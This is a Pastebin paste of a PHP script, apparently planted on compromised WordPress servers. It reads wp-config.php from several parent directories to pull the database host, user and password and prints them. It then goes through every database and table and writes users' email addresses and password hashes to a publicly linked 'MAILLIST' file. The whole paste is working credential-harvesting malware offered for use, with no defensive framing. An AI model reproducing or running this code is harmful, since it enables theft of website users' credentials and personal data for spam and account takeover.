Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ini_set('memory_limit', '-1');
- echo "
- <html>
- <center><a href='list.txt'>MAILLIST</a><br>
- </html>
- ";
- if (file_exists("wp-config.php") or ("../wp-config.php") or ("../../wp-config.php") or ("../../../wp-config.php") or ("../../../../wp-config.php") or ("../../../../../wp-config.php") or ("../../../../../../wp-config.php")) {
- $config=array(
- "wp-config.php","../wp-config.php","../../wp-config.php","../../../wp-config.php","../../../../wp-config.php","../../../../../wp-config.php","../../../../../../wp-config.php"
- );
- foreach($config as $wpcon){
- $file=@file_get_contents($wpcon);
- if(@preg_match("/'DB_NAME', '/i",$file) or @preg_match("/'DB_USER', '/i",$file) ){
- //////////host////////////////
- //////////host////////////////
- $host=explode("'DB_HOST', '",$file);
- $host=explode("'",$host[1]);
- $host=$host[0];
- /////////user///////////////
- $user=explode("'DB_USER', '",$file);
- $user=explode("'",$user[1]);
- $user=$user[0];
- ////////password///////////
- $pass=explode("'DB_PASSWORD', '",$file);
- $pass=explode("'",
- $pass[1]);$pass=$pass[0];
- ///////////////////////////////////////
- echo "db-host : $host <br>";echo "db-user : $user <br>";echo "db-pass : $pass <br>";
- //////////////////////////////////////////////////////////////////////////
- bajatax_co($host,$user,$pass,"list.txt");
- exit();
- }}}
- function grapper1($host,$user,$pass,$file){
- /*
- author : G-B
- email : fb/psycomiste.93
- */
- $con = mysql_connect($host,$user,$pass);
- $fp = fopen($file,'a');
- $count = 0;
- $databases = getdata("SHOW DATABASES");
- foreach($databases as $database){
- $tables = getdata("SHOW TABLES FROM $database");
- foreach($tables as $table){
- $columns = getdata("SHOW COLUMNS FROM $database.$table");
- foreach($columns as $column){
- $emails = getdata("SELECT user_email, user_pass FROM $database.$table");
- foreach($emails as $email){
- if($email){
- if(preg_match("/$email/i",file_get_contents($file))) continue;
- $count++;
- fwrite($fp,"$email\n");
- }else{
- foreach(preg_split("/\s/",$text) as $string){
- if($string){
- if(preg_match("/$string/i",file_get_contents($file))) continue;
- $count++;
- fwrite($fp,"$string\n");
- }
- }
- }
- }
- }
- }
- }
- fclose($fp);
- mysql_close($con);
- return $count;
- }
- function grapper2($host,$user,$pass,$file){
- $sql="SHOW DATABASES";
- $link = @mysqli_connect($host,$user,$pass) or die ('Error connecting to mysql: ' . mysqli_error($link).'\r\n');
- $result=@mysqli_query($link,$sql);
- $fp=fopen($file,"a");
- if(function_exists("chmod")){ @chmod($file,0755);}
- while( $row = mysqli_fetch_row( $result ) ){
- $database=$row[0];
- $result2=@mysqli_query($link,"SHOW TABLES FROM $database");
- while( $row2 = mysqli_fetch_row( $result2 ) ){
- $table=$row2[0];
- $result3=@mysqli_query($link,"SHOW COLUMNS FROM $database.$table");
- while( $row3 = mysqli_fetch_row( $result3 ) ){
- $column=$row3[0];
- $result4=@mysqli_query($link,"SELECT user_email, user_pass FROM $database.$table");
- while( $row4 = mysqli_fetch_row( $result4 ) ){
- $email=$row4[0];
- $passwdd=$row4[1];
- print_r($email,$passwdd);
- if($email){
- if(function_exists("file_get_contents")){ if(preg_match("/$email/i",file_get_contents($file))) continue; }
- $count++;
- fwrite($fp,"$email:$passwdd\n");
- }else{
- foreach(preg_split("/\s/",$text) as $string){
- if($string){
- if(function_exists("file_get_contents")){ if(preg_match("/$string/i",file_get_contents($file))) continue; }
- $count++;
- fwrite($fp,"$string:$passwdd\n");
- }
- }
- }
- }
- }
- }
- }
- }
- function getdata($sql){
- $q = @mysql_query($sql);
- $result = array();
- while(
- $d = @mysql_fetch_array($q)){
- $result[] = $d[0];
- }
- return $result;
- }
- function bajatax_co($host,$user,$pass,$file){
- if(function_exists("mysql_connect")){
- grapper1($host,$user,$pass,$file);
- }elseif(function_exists("mysqli_connect")){
- grapper2($host,$user,$pass,$file);
- }else{
- echo "No function grappe for this site exist :/ Add this site";
- }
- }
- ?>
Add Comment
Please, Sign In to add comment